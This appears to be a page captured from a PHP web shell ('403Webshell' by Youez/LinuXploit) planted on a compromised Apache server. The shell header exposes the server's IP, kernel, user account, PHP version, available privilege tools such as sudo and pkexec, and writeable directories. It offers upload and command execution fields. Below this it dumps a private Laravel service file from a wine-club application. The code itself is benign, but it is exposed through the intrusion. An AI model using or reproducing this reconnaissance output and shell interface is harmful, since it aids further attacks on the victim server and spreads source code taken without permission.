403Webshell
Server IP : 54.233.248.239  /  Your IP : 172.28.20.13
Web Server : Apache
System : Linux ip-172-28-29-189 6.5.0-1014-aws #14~22.04.1-Ubuntu SMP Thu Feb 15 15:27:06 UTC 2024 x86_64
User : www-data ( 33)
PHP Version : 7.2.34-43+ubuntu22.04.1+deb.sury.org+1
Disable Function : pcntl_alarm,pcntl_fork,pcntl_waitpid,pcntl_wait,pcntl_wifexited,pcntl_wifstopped,pcntl_wifsignaled,pcntl_wifcontinued,pcntl_wexitstatus,pcntl_wtermsig,pcntl_wstopsig,pcntl_signal,pcntl_signal_get_handler,pcntl_signal_dispatch,pcntl_get_last_error,pcntl_strerror,pcntl_sigprocmask,pcntl_sigwaitinfo,pcntl_sigtimedwait,pcntl_exec,pcntl_getpriority,pcntl_setpriority,pcntl_async_signals,
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : OFF  |  Sudo : ON  |  Pkexec : ON
Directory :  /var/www/html/vinumday2_0/app/Modules/Confraria/Services/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /var/www/html/vinumday2_0/app/Modules/Confraria/Services/ConfrariaEntregaService.php
<?php 

namespace App\Modules\Confraria\Services;

use DB;
use App\Modules\Adega\Models\Adega;
use App\Modules\Cadastro\Models\Cadastro;
use App\Modules\PedidoVenda\Models\PedidoVenda;
use App\Modules\PedidoEntrega\Models\PedidoEntrega;
use App\Modules\Confraria\Models\Confraria;
use App\Modules\Oferta\Models\Oferta;

use App\Services\GeralService;

class ConfrariaEntregaService{

	public static function buscarInformacoesBasicasAdegaAberta($idConfraria = null){

        if ($idConfraria != null){
            $vinhos = ConfrariaEntregaService::buscarAdegaPorConfraria($idConfraria);
        } else {
            $vinhos = ConfrariaEntregaService::buscarMeusVinhos();
        }

        $data = [];

        $valor_total = 0;
        $valor_economizado = 0;
        $quantidade_vinhos_adega = 0;
        foreach ($vinhos as $vinho) {
            $vinho->quantidade_na_adega = $vinho->agrupamento_produtos ? $vinho->quantidade_na_adega : $vinho->quantidade_na_adega / $vinho->quantidade_na_oferta;
            $valor_total += $vinho->preco_oferta * $vinho->quantidade_na_adega;
            $valor_economizado += ($vinho->preco_mercado - $vinho->preco_oferta) * $vinho->quantidade_na_adega;
            if(count($vinho->produtos) > 1){
                foreach ($vinho->produtos as $produto) {
                    $quantidade_vinhos_adega += $vinho->quantidade_na_adega * $produto->quantidade;
                }
            }else{
                $quantidade_vinhos_adega += $vinho->quantidade_na_adega;
            }
        }

        $data['valorTotal']            = $valor_total;
        $data['valorEconomizado']      = $valor_economizado;
        $data['quantidadeVinhosAdega'] = $quantidade_vinhos_adega;

        return $data;
    }

    public static function buscarInformacoesBasicasAdega($idConfraria = FALSE, $idAdega = FALSE, $idCliente = FALSE){

        if ($idConfraria){
            $vinhos = ConfrariaEntregaService::buscarAdegaPorConfraria($idConfraria, $idAdega, $idCliente);
        } else {
            $vinhos = ConfrariaEntregaService::buscarMeusVinhos();
        }

        $data = [];

        $valor_total = 0;
        $valor_economizado = 0;
        $quantidade_vinhos_adega = 0;
        foreach ($vinhos as $vinho) {
            $vinho->quantidade_na_adega = $vinho->agrupamento_produtos ? $vinho->quantidade_na_adega : $vinho->quantidade_na_adega / $vinho->quantidade_na_oferta;
            $valor_total += $vinho->preco_oferta * $vinho->quantidade_na_adega;
            $valor_economizado += ($vinho->preco_mercado - $vinho->preco_oferta) * $vinho->quantidade_na_adega;
            if(count($vinho->produtos) > 1){
                foreach ($vinho->produtos as $produto) {
                    $quantidade_vinhos_adega += $vinho->quantidade_na_adega * $produto->quantidade;
                }
            }else{
                $quantidade_vinhos_adega += $vinho->quantidade_na_adega;
            }
        }

        $data['valorTotal']            = $valor_total;
        $data['valorEconomizado']      = $valor_economizado;
        $data['quantidadeVinhosAdega'] = $quantidade_vinhos_adega;

        return $data;
    }

    public static function buscarMeusVinhos($params = []){

        $adegaAberta = ConfrariaEntregaService::buscarAdegaAberta();

        if($adegaAberta){
            $produtos = GeralService::buscarVinhosAdega(['id_adega'=> $adegaAberta->id ,'somar' => $params['somar'] ?? false]);
        }else{
            $produtos = isset($params['somar']) ? ['produtos' => []] : [];
        }

        return $produtos;
    }

    public static function buscarAdegaPorConfraria($idConfraria, $idAdega = FALSE, $idCliente = FALSE){

        if($idAdega){
            $adega = Adega::where('id', $idAdega)->first();
        }else{
            $adega = ConfrariaEntregaService::buscarAdegaAberta(['confraria_id' => $idConfraria]);
        }

        if($adega){
            $id_status_pedido_venda = $adega->status == 'A' ? 2 : 7;
            $params                 = ['id_adega' => $adega->id, 'id_status_pedido_venda' => $id_status_pedido_venda, 'id_confraria' => $idConfraria];
            if($idCliente){
                $params = array_merge($params, ['id_cliente' => $idCliente]);
            }
            $produtos = GeralService::buscarVinhosAdega($params);
        }else{
            $produtos = [];
        }

        return $produtos;
    }

    public static function buscarAdegaAberta($params = []){

    	$confraria = false;

        if(isset($params['confraria_id'])){
            $confraria = Confraria::find($params['confraria_id']);
        }else{
            $cadastro  = GeralService::buscarClienteLogado();
            $confraria = ConfrariaService::buscarConfrariaUsuarioLogado();
        }

        if(!$confraria) return null;

        $adegaAberta = Adega::where('confraria_id', $confraria->id)->where('status', 'A')->first();

        return $adegaAberta;
    }

}

Youez - 2016 - github.com/yon3zu
LinuXploit